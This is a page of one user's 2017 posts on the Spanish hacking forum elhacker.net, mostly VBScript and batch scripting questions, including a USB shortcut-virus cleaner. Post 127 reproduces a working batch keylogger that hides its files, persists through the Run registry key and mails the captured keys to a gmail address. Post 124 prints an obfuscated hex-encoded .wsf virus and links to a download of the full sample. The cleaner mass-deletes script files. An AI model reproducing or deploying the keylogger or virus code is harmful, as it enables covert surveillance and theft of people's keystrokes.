elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15
121  Programaciˇn / Scripting / Se puede usar MSscript.ocx en VB.NET? en: 19 Agosto 2017, 22:31
Buenas,

en vb 6 podÝas ejecutar JScript o VBScript con el componente Msscript.ocx .

mi pregunta es :

┐Existe este componente pero en versiˇn .net? O debo utilizar el mismo ocx que en vb 6?

┐ y si esta en VB.net como implemento el Msscript.ocx?

Es para crear un formulario donde escribes cˇdigo jscript y lo puedes ejecutar/probar.

                                    Gracias de antemano.
122  Programaciˇn / Scripting / Re: error en vbs en: 12 Agosto 2017, 00:35
 ******************error solucionado************************

sustituyan las Primeras 6 lineas por este code:

Código
  1. Set objShell = CreateObject("Shell.Application")
  2. Set objFolder = objShell.BrowseForFolder(0, "Selecciona una carpeta:", 0, 0)
  3.  
  4. If objFolder Is Nothing Then
  5. Wscript.Quit
  6. End If
  7.  
  8. strPath = objFolder.self.path

este scrip Sirve para eliminar el virus de accesos directos que se mete en el
pendrive.  Chao. ::)
123  Programaciˇn / Scripting / error en vbs en: 11 Agosto 2017, 20:03
hola a todos, hoy traigo un vbs que desoculta carpetas el vbs funciona bien, selecciono la carpeta y doy aceptar y desinfecta, hay va bien pero
el problema es cuando lo abro pero no lo utilizo sino que lo quito hay sale el error
no se por que sale.

en pocas palabras el error esta cuando lo abro y lo cierro , que no lo utilizo.

code:

Código
  1. Set objShell = CreateObject("Shell.Application")
  2. Set objFolder = objShell.BrowseForFolder _
  3.    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)
  4.    If (Not objFolder Is Nothing) Then
  5.       end if                                         'AQUI ESTA EL ERROR CUAN NO SELECCIONO NADA SINO LE DOY A CANCELAR
  6. Set objFolderItem = objFolder.Self
  7. strPath = objFolderItem.Path
  8. Set objfso = CreateObject("scripting.filesystemobject")
  9. Set archivotexto = objfso.createtextfile("desinf.bat", True)
  10. archivotexto.writeline "@echo off"
  11. archivotexto.writeline "title Desinfectando USB (BY S4L)"
  12. archivotexto.writeline "MODE CON: COLS=50 LINES=5"
  13. archivotexto.writeline "color a"
  14. archivotexto.writeline "echo/"
  15. archivotexto.writeline "echo [███░░░░░░░░░░░░░░░░░░░░░░░░░░░] 13 /."
  16. archivotexto.writeline "cd /D "" " & strPath & """"
  17. archivotexto.writeline "Attrib /d /s -r -h -s *.*"
  18. archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
  19. archivotexto.writeline "cls"
  20. archivotexto.writeline "echo/"
  21. archivotexto.writeline "echo [█████████░░░░░░░░░░░░░░░░░░░░░] 25 /."
  22. archivotexto.writeline "del /f /q *.bat"
  23. archivotexto.writeline "cls"
  24. archivotexto.writeline "echo/"
  25. archivotexto.writeline "echo [███████████████░░░░░░░░░░░░░░░] 47 /."
  26. archivotexto.writeline "del /f /q *.wsf"
  27. archivotexto.writeline "del /f /q Drive\*.wsf"
  28. archivotexto.writeline "if exist *.lnk del *.lnk"
  29. archivotexto.writeline "cls"
  30. archivotexto.writeline "echo/"
  31. archivotexto.writeline "echo [█████████████████████████░░░░░] 70 /."
  32. archivotexto.writeline "del /f /q *.vbs"
  33. archivotexto.writeline "cls"
  34. archivotexto.writeline "echo/"
  35. archivotexto.writeline "echo [████████████████████████████░░] 89 /."
  36. archivotexto.writeline "del /f /q *.js"
  37. archivotexto.writeline "cls"
  38. archivotexto.writeline "echo/"
  39. archivotexto.writeline "echo [██████████████████████████████] 100 /."
  40. archivotexto.writeline "attrib -a -s -h -r /s /d"
  41. archivotexto.writeline "attrib +s +h autorun.inf"
  42. archivotexto.writeline "ping localhost -n 2 >nul"
  43. archivotexto.writeline "taskkill /F /im wscript.exe"
  44. archivotexto.writeline "cls"
  45. archivotexto.writeline "echo [██████████████████████████████] 100 /."
  46. archivotexto.writeline "explorer.exe " & strPath & """"
  47. archivotexto.writeline "exit"
  48. archivotexto.Close
  49. Set objfso = createobject("scripting.filesystemobject")
  50. Set archivo = objfso.getfile("desinf.bat")
  51. archivo.attributes = 34
  52. Set WshShell = WScript.CreateObject("WScript.Shell")
  53. Return = WshShell.Run("desinf.bat", 1, true)
  54.  
124  Programaciˇn / Scripting / descifrar virus .wsf en: 9 Agosto 2017, 16:44
hola a todos, traigo un virus con formato wsf , alguien sabe como ddesencriptar
el codigo de este virus.


parte de el code :  el codigo no esta completo porque solo puedo publicar 1000 lineas.

code:
Código
  1. <?XML version="1.0"?><job>
  2.  
  3. <script language="VBScript">
  4.  
  5. <![CDATA[
  6.  
  7. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("44696D204F6178737A4D676757574747796D616766784F785162566747734654796B79444F556568727A4C514C79705A6D657A564D6642704345755568697641665376485966615048637A6D544F5550")
  8. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("4A544C554978794E4A43426D6B4D4E676C48664275626F45657647724C63446B4155646C62725479436563744A517268557142666A62486B4A6551444578734E51424C4A4B506B794265545A6D4B4B79464941566E697A6A71694E5244566C744E512C20726E706377467457507051726D43436F4E5A5675556B716F654D534B")
  9. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("435A64746269456B594D51676F71736A6742424254527A664F53575162436F5368666F76754C7874425A644F494166777446444576796F4E59557A534D594B51536177437843716A6846557563675A796A5265504F6A4D64416649676371657971706A744E775A4F4F75444D437972536E5744796E534D7574426D6D686B4C79")
  10. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("5942424B4849726B425A4C556356594D6E792C206661594147674354506B6C4C50746C6D516458737953734946794E4F704E635469596C4D7374457477584554456A5650764F595876746F4457646278514353586449614F684B776746635167796946796E617A45514D76484F6D646B6E4B58555649644C795578544C576856")
  11. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("7256784E72444D7949424B786950474B51544546586B6D624B6478454567784D6952444652596B4376674B59484C414B416D577578684D696D696F52766A686E696C0D0A4F6178737A4D676757574747796D616766784F785162566747734654796B79444F556568727A4C514C79705A6D657A564D6642704345755568697641")
  12. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("665376485966615048637A6D544F55504A544C554978794E4A43426D6B4D4E676C48664275626F45657647724C63446B4155646C62725479436563744A517268557142666A62486B4A6551444578734E51424C4A4B506B794265545A6D4B4B79464941566E697A6A71694E5244566C744E51203D20222D323233392B32323738")
  13. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2A3333353934302F353539392A323135332D323036322A2D333631382B333635302A383931382D383830342A3632313435332F363135332A313830342D313730352A3132312D31302A3233323230302F323332322A2D34362B3134372A373131382D373030342A393439382D393436362A3438393430342F383433382A373232")
  14. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("35362F323235382A343935352D343835312A2D353739382B353930392A3534323736332F343633392A2D333434392B333534392A2D373839352B383030302A333530372D333339372A2D3936362B313037312A2D393132342B393135362A343132362D343038362A363933302D363833312A2D353834332B353838342A2D3533")
  15. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("362B3536382A383538382D383437332A3538322D3437352A2D3736322B3838332A373634342D373533322A3139363834392F313934392A323833382D323830362A363137332D363131352A343238392D343235372A3631393332302F353935352A383339362D383238352A353233332D353131362A333830332D333730332A35")
  16. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("32393531352F353034332A3330373132302F323739322A2D373738312B373838362A373139352D373135302A3435313936322F343433312A393035382D383933382A313537312D313533392A333537302D333437372A343533362D343437342A323731362D323730362A363237342D363236342A323037322D323033332A3533")
  17. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("36322D353330312A383835342D383830392A373930312D373834302A2D373537362B373632312A312B36302A3335303733302F373739342A373930392D373834382A36303933302F313335342A37373334382F313236382A2D393038322B393131342A38363432372F3837332A313333372D313232362A3333342D3232342A31")
  18. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("303038332D393938312A2D3133372B3234322A2D343136322B343236352A3232313732382F363932392A31373038302F3238302A3138303732302F343031362A2D343532352B343538362A2D383734332B383738382A313437392D313431382A2D353733372B353738322A363835322D363739312A3230313337352F34343735")
  19. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2A2D343634362B343730372A2D313438382B313533332A343731342D343635332A33373330352F3832392A383433302D383336392A39383530352F323138392A2D333337362B333433372A2D313635342B313639392A2D333131372B333137382A34383337352F313037352A2D363932372B363938382A363738352D36373430")
  20. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2A3631342D3535332A333730322D333635372A3131343337352F313837352A3339363831302F383831382A333231332D333135322A3132373537352F323833352A2D373736342B373832352A2D313438362B313533312A343438392D343432382A37353537302F373535372A33383432302F333834322A31303035342D393935")
  21. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("302A37343438312F3637312A2D393832382B393934332A3833303930382F373136332A2D343234382B343238302A2D343037352B343133362A3232303936302F363930352A32393835322F3837382A3236333434352F323530392A3132323839392F313236372A2D363337362B363438352A333035312D323935332A33393534")
  22. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("36392F343037372A3238332D3138342A2D393733362B393834332A2D343831362B343836322A3337343030302F333734302A3638363030302F363836302A39313330302F3833302A2D353737302B353838352A39323634342F323031342A2D363633332B363734332A31303033372D393933362A2D343537332B343638392A2D")
  23. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("333834342B333837382A39333533302F393335332A313039323839362F393735382A3534343637372F343930372A383432302D383330362A313233382D313132322A3232343332302F373031302A3236343433352F343333352A34363436342F313435322A393130382D393035392A393736312D393731302A37323631302F37")
  24. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("3236312A353930342D353739392A2D383433302B383534302A3432393036352F333733312A343432332D343330372A3637343035332F363934392A2D323735332B323836312A2D343032342B343133322A383235382D383135382A2D313639342B313739392A3139343832362F313730392A323934372D323931352A2D333037")
  25. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("392B333134302A343932352D343839332A3137323738382F353038322A39333631302F323533302A2D3232372B3334342A323930362D323739312A2D333336312B333436322A2D343031352B343132392A3339313130342F333439322A3834352D3733312A2D333639322B333830332A2D333030342B333130362A3238323636")
  26. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("302F323639322A2D363039382B363230362A2D363239312B363339322A3330383631372F383334312A39333433322F323734382A36393435302F363934352A393334362D393233382A363337362D363236362A35303239302F3437302A3433363936382F343238342A2D313636302B313736352A2D373032312B373132392A39")
  27. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("373336342F3936342A35393734342F313836372A393537372D393531362A3137343536302F353435352A3535333535322F343737322A3737303735342F363736312A2D313032312B313133382A3634393132372F363432372A39383734302F393837342A2D393132332B393233312A2D313831312B313932312A383933313239")
  28. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2F383334372A2D313238332B313338352A333436362D333335352A3133323531362F313232372A3331363030302F333136302A3831393831372F383131372A3234383633342F323138312A383630382F3236392A343432312D343336302A3633342D3630322A2D353231312B353332372A343539312D343437372A323530312D")
  29.  
  30. ExecuteGlobal FACEBOOKFACEBOOK
  31.  
  32. Function php(FACEBOOKFACEBOOK) : For y = 1 To Len(FACEBOOKFACEBOOK) Step 2 : ub = ub & Chr(Clng("&H" & Mid(FACEBOOKFACEBOOK, y, 2))) : Next : php = ub : End Function
  33.  
  34. ]]>
  35.  
  36. </script>
  37.  
  38. </job>
  39.  

 PD: aqui les dejo el virus . aqui esta el codigo completo:

link:
                  http://www.mediafire.com/file/3rgu85acp4u7uxe/virus.wsf
125  Programaciˇn / Scripting / error con scrip vbs en: 27 Julio 2017, 22:42
 hola bueno tengo un vbs que lo que hace es explorar carpetas, abre y corre bien
 pero el problema es que se lo abro y despues lo quiero cerrar osea le doy
 al boton cancelar me lanza error el vbs.

 no lo he podido solucionar intente con el comando else pero tampoco funciono.

Código
  1. Set objShell = CreateObject("Shell.Application")
  2. Set objFolder = objShell.BrowseForFolder _
  3.    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)  
  4. Set objFolderItem = objFolder.Self
  5. strPath = objFolderItem.Path
  6. objShell.Explore strPath
  7.  

      en pocas palabras lo que quiero es cuando abra el vbs pero no selecione
       nada sino que le de a cancelar se cierre y no me aparezca el mensaje
        error.
126  Programaciˇn / Scripting / -----ayuda con vbs------ en: 27 Julio 2017, 01:21
 hala de nuevo necesito ayuda con este vbs, la funcion de este vbs es crear
 acceso directo de alg˙n programa o archivo en especifico,

 bien lo que quiero es que en ves de crear acceso directo de un archivo, cree
 accesos directos de todo lo que se encuentre dentro de una carpeta.

 algo como el virus newphototoday 

 aqui el code para crear accesosdirectos de un archivo:
 
Código
  1. Set WshShell = WScript.CreateObject("WScript.Shell")
  2. Set Link = WshShell.CreateShortcut("Compensacion Bicentenario.lnk")
  3. With Link
  4. .TargetPath = "%PROGRAMFILES%\Counter-Strike Ultimate Online\LauncherCSU.exe"
  5. .WindowStyle = 1
  6. .Hotkey = ""
  7. .IconLocation = "%PROGRAMFILES%\Counter-Strike Ultimate Online\LauncherCSU.exe"
  8. .Description = ""
  9. .WorkingDirectory = "%PROGRAMFILES%"
  10. .Save
  11. End With
  12.  

 lo que quiero es que en ves de que cree el acceso directo del launcherCSU.exe
 cree acceso directo de todo lo que se encuentre en la carpeta- algo como
 el valor *.* de batch.
127  Programaciˇn / Scripting / keylogger en batch? en: 24 Julio 2017, 20:29
Hola a todos queria saber si se puede hacer un keylogger en batch y que registre todo en un txt.  :huh:


en internet encontre este batch pero es mas que todo puro vbs.

aqui el code:
Código
  1. @echo off
  2. set location = %windir%\System32\stsyk.vbs
  3. echo set shell = CreateObject("Wscript.Shell") >> %location%
  4. echo shell.run "C:\windows\k.bat", 0 >> %location%
  5. echo @echo off >> C:\windows\k.bat
  6. echo color c9 >> C:\windows\k.bat
  7. echo :go >> C:\windows\k.bat
  8. echo echo .>>c:\keys.txt  >> C:\windows\k.bat
  9. echo echo :  >> C:\windows\k.bat
  10. echo set /p keys=  >> C:\windows\k.bat
  11. echo echo %keys% >> c:\keys.txt  >> C:\windows\k.bat
  12. echo goto go >> C:\windows\k.bat
  13. echo start %location%  >> C:\windows\k.bat
  14. echo(
  15. echo Dim x > C:\kvqim.vbs
  16. echo on error resume next >> C:\kvqim.vbs
  17. echo Set fso =" Scripting.FileSystem.Object" >> C:\kvqim.vbs
  18. echo Set so=CreateObject(fso) >> C:\kvqim.vbs
  19. echo Set ol=CreateObject("Outlook.Application") >> C:\kvqim.vbs
  20. echo Set out=WScript.CreateObject("Outlook.Application") >> C:\kvqim.vbs
  21. echo Mail.to="cursedgaming@gmail.com">> C:\kvqim.vbs
  22. echo Mail.Subject="Keylog" >> C:\kvqim.vbs
  23. echo Mail.Body="" >> C:\kvqim.vbs
  24. echo Mail.Attachments.Add("C:keys.txt") >> C:\kvqim.vbs
  25. echo Mail.Send >> C:\kvqim.vbs
  26. echo Next >> C:\kvqim.vbs
  27. echo ol.Quit >> C:\kvqim.vbs
  28. C:\kvqim.vbs
  29. )>>C:\Windows\k.bat
  30. ping localhost 5 > nul
  31. del C:\kvqim.vbs
  32. REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d %location%
  33. REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d C:\Windows\k.bat
  34. attrib +h +s %location%
  35. attrib +h +s C:\Windows\k.bat
  36. attrib +h keys.txt
  37. start %location%
  38.  
128  Programaciˇn / Scripting / crear explorador de archivos y carpetas en bath? en: 14 Julio 2017, 23:31
   :huh: hola a todos quisiera saber si se puede crear un explorador de carpetas
            y archivos en batch, lo estuve intentando con comandos FOR y DIR
            pero no lo logre.   

                   si alguien sabe alg˙n  programa comand-line que me funcione ?

          PD: solo lo he logrado hacer en vbs y vb pero no lo consigo en batch.
                    si alguien sabe porfa comenten! .   :huh:
129  Seguridad Informßtica / Anßlisis y Dise˝o de Malware / Re: eliminar virus de usb que crea accesos directos en: 11 Julio 2017, 16:56
┐Y porque no crear directamente el .bat?  :-\


 ;) es por que con el vbs se puede seleccionar el pendrive de una manera
mas facil para otras personas.

 en cambio en el bat se tiene que poner la letra de la unidad.

 ****en pocas palabras hay personas de cierta edad que no saben manipular
           muy bien una computadora en cambio con este vbs se selecsiona el usb
            y listo , esto lo hace mas facil para estas personas.

**** en cambio en el bat tienen que escribir la letra da la unidad y hay
       persona que apenas saben usar la pc y se enredan.


--------------------------------por esto lo hice en vbs.  ::)  ;-)
130  Seguridad Informßtica / Anßlisis y Dise˝o de Malware / eliminar virus de usb que crea accesos directos en: 10 Julio 2017, 16:23
 hola a todos hice un vbs que elimina el virus de acceso directo
 que se mete en el pendrive. por favor comenten eso me motiva a
 hacer mas script.

  bueno aqui el code:
Código
  1. 'PARA FORO EL HACKER.
  2. Set objShell = CreateObject("Shell.Application")
  3. Set objFolder = objShell.BrowseForFolder _
  4.    (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)  
  5. Set objFolderItem = objFolder.Self
  6. strPath = objFolderItem.Path
  7. Set objfso = createobject("scripting.filesystemobject") 'credo por S4L.
  8. Set archivotexto = objfso.createtextfile("desinf.bat",true)
  9. archivotexto.writeline "@echo off"
  10. archivotexto.writeline "title Desinfectando USB (BY S4L)"
  11. archivotexto.writeline "MODE CON: COLS=50 LINES=5"
  12. archivotexto.writeline "color a"
  13. archivotexto.writeline "echo/"
  14. archivotexto.writeline "echo [███                           ] 13 ░/."
  15. archivotexto.writeline "ping localhost -n 1 >nul"
  16. archivotexto.writeline "cd /D "" " & strPath & """"
  17. archivotexto.writeline "Attrib /d /s -r -h -s *.*"
  18. archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
  19. archivotexto.writeline "cls"
  20. archivotexto.writeline "echo/"
  21. archivotexto.writeline "echo [█████████                     ] 25 ░/."
  22. archivotexto.writeline "ping localhost -n 2 >nul"
  23. archivotexto.writeline "del /f /q *.bat"
  24. archivotexto.writeline "cls"
  25. archivotexto.writeline "echo/"
  26. archivotexto.writeline "echo [███████████████               ] 47 ░/."
  27. archivotexto.writeline "ping localhost -n 2 >nul"
  28. archivotexto.writeline "del /f /q *.wsf"
  29. archivotexto.writeline "del /f /q Drive\*.wsf"
  30. archivotexto.writeline "if exist *.lnk del *.lnk"
  31. archivotexto.writeline "cls"
  32. archivotexto.writeline "echo/"
  33. archivotexto.writeline "echo [█████████████████████████     ] 70 ░/."
  34. archivotexto.writeline "ping localhost -n 2 >nul"
  35. archivotexto.writeline "del /f /q *.ws"
  36. archivotexto.writeline "cls"
  37. archivotexto.writeline "echo/"
  38. archivotexto.writeline "echo [████████████████████████████  ] 89 ░/."
  39. archivotexto.writeline "ping localhost -n 2 >nul"
  40. archivotexto.writeline "del /f /q *.js"
  41. archivotexto.writeline "cls"
  42. archivotexto.writeline "echo/"
  43. archivotexto.writeline "echo [██████████████████████████████] 100 ░/."
  44. archivotexto.writeline "attrib -a -s -h -r /s /d"
  45. archivotexto.writeline "attrib +s +h autorun.inf"
  46. archivotexto.writeline "ping localhost -n 2 >nul"
  47. archivotexto.writeline "explorer.exe "& strPath & """"
  48. archivotexto.writeline "exit"
  49. archivotexto.close
  50. set WshShell=WScript.CreateObject("WScript.Shell")
  51. WShShell.run "desinf.bat"
  52. 'FISICA 638
  53.  

************************* Porfavor comenten.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines